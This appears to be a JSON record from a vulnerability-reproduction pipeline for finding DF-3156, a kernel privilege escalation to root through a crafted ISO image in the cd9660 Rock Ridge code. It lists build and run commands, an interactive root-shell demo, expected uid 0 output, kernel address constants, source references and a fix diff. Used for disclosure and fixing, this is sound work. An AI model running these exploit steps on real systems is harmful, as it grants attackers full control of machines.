{
 "finding_id": "DF-3156",
 "verdict": "reproduced",
 "impact": "uid0_privesc",
 "confidence": "certain",
 "reproduce": {
  "build": "host: python3 craft_exploit.py df3156_exploit.iso; python3 craft_dangle.py pat184 df3156_pat183.iso (pattern); guest: cc -O -o /tmp/exploit /root/exploit.c && cc -O -o /tmp/trigger /root/trigger.c",
  "run": "guest root: vnconfig -c -S 2048 /dev/vn0 /root/df3156_exploit.iso && mount_cd9660 -o ro /dev/vn0 /mnt/df3156 && su -m nobody -c '/tmp/exploit /mnt/df3156'  (default id-mode, CI)  |  interactive root shell (demo): (printf 'id\\ncat /root/df3156_rootproof\\ntouch /tmp/DF3156_OWNED\\nls -ln /tmp/DF3156_OWNED\\nexit\\n'; sleep 10) | script -q /root/run_shell.raw su -m nobody -c '/tmp/exploit --shell /mnt/df3156'   (or DF3156_SHELL=1)",
  "expected": "id-mode: uid before: 65534 ... uid after: 0 euid: 0 + mode-0400 /root/df3156_rootproof contents + exec'd id shows uid=0(root) (run.2.log). shell-mode: same trace, then '[m7 spawning interactive root shell /bin/sh]' and a real interactive '#' pty shell: id->uid=0(root), rootproof, /tmp/DF3156_OWNED owned 0:0 (run_shell.log/run_shell.raw). lstat/dents variants panic (trap 9) with controlled frame pointer. NOTE: constants match the stock clean-install kernel (sysent=0xffffffff810c7900); the with-src snapshot kernel is a shifted rebuild (sysent=0xffffffff810cb880) -- re-derive via nm before running there (see VERDICT.md maintenance section)."
 },
 "kernel_refs": [
  "sys/vfs/isofs/cd9660/cd9660_rrip.c:276-277",
  "sys/vfs/isofs/cd9660/cd9660_rrip.c:279-283",
  "sys/vfs/isofs/cd9660/cd9660_rrip.c:581-584",
  "sys/vfs/isofs/cd9660/cd9660_rrip.c:286-304",
  "sys/vfs/isofs/cd9660/cd9660_lookup.c:109",
  "sys/vfs/isofs/cd9660/cd9660_lookup.c:261",
  "sys/vfs/isofs/cd9660/cd9660_vnops.c:542",
  "sys/vfs/isofs/cd9660/cd9660_vnops.c:343-367",
  "sys/kern/kern_subr.c:96-160"
 ],
 "artifacts": [
  "README.md",
  "VERDICT.md",
  "build.sh",
  "craft_dangle.py",
  "craft_exploit.py",
  "df3156_exploit.iso",
  "df3156_pat183.iso",
  "df3156_rop.iso",
  "df3156_x4242.iso",
  "env.txt",
  "exploit.c",
  "fix.diff",
  "fix_build.log",
  "fix_run_exploit.log",
  "manifest.json",
  "panic_dents_serial.log",
  "panic_lstat_serial.log",
  "run.2.log",
  "run.log",
  "run.sh",
  "run_shell.log",
  "run_shell.raw",
  "trigger.c"
 ],
 "code_hashes": {
  "exploit.c": "12fceb41ffdb2593b7d8d74b5a90d59d1ec2de12925963061185343d4cd16b96",
  "craft_exploit.py": "01d9687f8a0942e930dfbf16b4451aa051bc53a638394858d6db9373ebccbea5",
  "craft_dangle.py": "e719a3f9c05aa8743f79d1ff0f44b6e5df44ef3998567804140240de37c21816",
  "trigger.c": "4bedd12153b1e1901e8518f260f397a57bdb00e143392ed98b1fd20fecc7ba43"
 }
}